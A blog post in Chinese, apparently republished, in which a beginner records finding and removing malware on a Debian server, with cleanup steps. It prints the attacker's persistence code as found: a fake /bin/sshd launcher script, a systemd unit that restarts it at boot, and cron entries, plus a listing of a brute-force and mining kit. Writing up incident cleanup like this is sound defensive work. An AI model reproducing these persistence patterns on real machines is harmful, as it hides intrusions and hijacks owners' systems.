当前位置:   article > 正文

记一次 Debian 被黑,清理记录,唉_.blackmn

.blackmn

问题:今天登录学习用的 Linux 时发现 root 登录不了,是因为密码不对,估计是被黑了,因为是 LINUX 小白,所以在这方面也没啥安全意识,只能先将 root 密码恢复一下,再研究下怎么解决吧,这也是为了记录下,思路也不知道对不对,等处理完成最后再把 root 密码再改下吧,唉。

另:这机器是 Debian 11 最小化安装,服务就只有 Tomcat 和 PostgreSQL服务是对外开放了端口,而且端口号还修改成不是默认的了,有哪位大神可以赐教该如何防着点么,在这里先谢谢了。
要直接看怎么处理的话,直接看最后面内容吧,中间是自己的嘚啵嘚。。。

查询问题:
通过查看进程,发现有个 systemc 进程,对照其他正常的机器,这运行不应该存在
然后,查到这个程序是运行在 root 目录下有个 .cfg 目录,整体是在这里运行的
查看到这个目录中有个脚本名 .b4nd1d0,所以从这个名开始查询

  1. root@debian:~/.cfg# grep -r "b4nd1d0" /bin
  2. /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
  3. /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
  4. /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown

上面这个目录里查到了 .b4nd1d0 是从另一个脚本过来的,脚本是 /bin/sshd ,经对照其实正常不应该在此位置有这个文件,先瞅瞅这个文件里写的啥

cat /bin/sshd

  1. #!/bin/bash
  2. locatieasdf=/root/.cfg
  3. if [ ! -d $locatieasdf ]; then
  4. mkdir $locatieasdf
  5. rsync -r /usr/bin/.locatione/ $locatieasdf/
  6. sleep 0.3
  7. $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
  8. else
  9. if [ ! -f $locatieasdf/systemc ]; then
  10. rsync -r /usr/bin/.locatione/ $locatieasdf/
  11. sleep 0.3
  12. $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
  13. else
  14. $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
  15. fi
  16. fi

嘿,感觉 /usr/bin/.locatione/ 这个目录是根源,还带同步的,瞅瞅这个目录里都有啥

  1. -rwxr-xr-x 1 root root 13 1月 8 15:41 bios.txt
  2. -rwxr-xr-x 1 root root 1008K 11月 1 16:49 blackmn
  3. -rwxr-xr-x 1 root root 879K 9月 17 07:33 brute
  4. -rwxr-xr-x 1 root root 3.9K 9月 17 07:33 pass
  5. -rwxr-xr-x 1 root root 658K 9月 17 07:29 ps
  6. -rwxr-xr-x 1 root root 5.6M 10月 31 16:08 systemc

这一段应该差不多了,咱再接着往下查 .b4nd1d0 在其他目录还有啥信息

  1. root@debian:~/.cfg# grep -r "b4nd1d0" /var
  2. /var/log/syslog:Jan 10 00:00:01 debian CRON[34851]: (root) CMD (/root/.cfg/./.b4nd1d0)
  3. /var/log/syslog:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
  4. /var/log/syslog:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
  5. /var/log/syslog:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
  6. grep: /var/log/journal/a4ad240cd4e64333843259198e7b9cde/system.journal:匹配到二进制文件
  7. /var/log/daemon.log:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
  8. /var/log/daemon.log:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
  9. /var/log/daemon.log:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
  10. /var/log/syslog.1:Jan 9 00:00:01 debian CRON[16217]: (root) CMD (/root/.cfg/./.b4nd1d0)
  11. /var/spool/cron/crontabs/root:@daily /root/.cfg/./.b4nd1d0

上面的结果好像是被我给 KILL 掉的记录,但发现了应该是从一个服务 myservice.service 执行的,也就是为什么会开机就被运行了

  1. root@debian:/lib/systemd/system# find / -name myservi*
  2. /etc/systemd/system/multi-user.target.wants/myservice.service
  3. /usr/lib/systemd/system/myservice.service
  4. root@debian:/lib/systemd/system# ll myservice.service
  5. -rw-r--r-- 1 root root 213 1月 8 15:51 myservice.service

因为 /lib 是 /usr/lib 的软链接,所以这两个是一个目录
下面是 myservice.service 的内容,这应该就是开机运行的源头了吧

  1. root@debian:/lib/systemd/system# cat myservice.service
  2. [Unit]
  3. Description=Example systemd service.
  4. [Service]
  5. Type=forking
  6. ExecStart=/bin/bash /usr/bin/sshd
  7. Restart=always
  8. RestartSec=720
  9. SuccessExitStatus=1
  10. KillMode=none
  11. [Install]
  12. WantedBy=multi-user.target

/bin 也是 /usr/bin 的软链接,所以这两个是一个目录

更新一个定时任务里也有,真是恶心啊

  1. root@Webapp-study:~# crontab -l
  2. # @daily /root/.cfg/./.b4nd1d0
  3. # @reboot /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
  4. # * * * * * /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
  5. # @monthly /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
  6. 直接都删掉就好了
  7. root@Webapp-study:~# crontab -r
  8. root@Webapp-study:~# crontab -l
  9. no crontab for root


暂时问题查询就到这了,再不知道怎么往下找了

现在简单整理一下执行过程:
开机运行 myservice.service 调用了 /usr/bin/ssh 脚本,这个脚本同步 /usr/bin/.locatione/ 目录中的内容到用户目录,并运行。

----------------------------------------------------------------------------------------------------------------------------

处理方式:
1.查到对应的PID,然后KILL掉

  1. ps 或 htop 都行,我进程少,所以 htop 比较直观 (htop 是用 apt 安装的)
  2. kill -9 PID号

2.删掉 myservice.service 服务

  1. rm -rf /etc/systemd/system/multi-user.target.wants/myservice.service
  2. rm -rf /usr/lib/systemd/system/myservice.service

3.删掉 /usr/bin/sshd 文件

rm -rf /usr/bin/sshd

4.删掉 /usr/bin/.location 目录

rm -rf /usr/bin/.location

5.最后删掉 /root/.cfg 整个目录

rm -rf /root/.cfg

最后重启下,再查下进程和刚才那几个目录,要是再没有异常了应该就是正常了
赶紧先改个密码吧,按说密码也够强壮,挺郁闷的一个事儿。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/720408
推荐阅读
相关标签
  

闽ICP备14008679号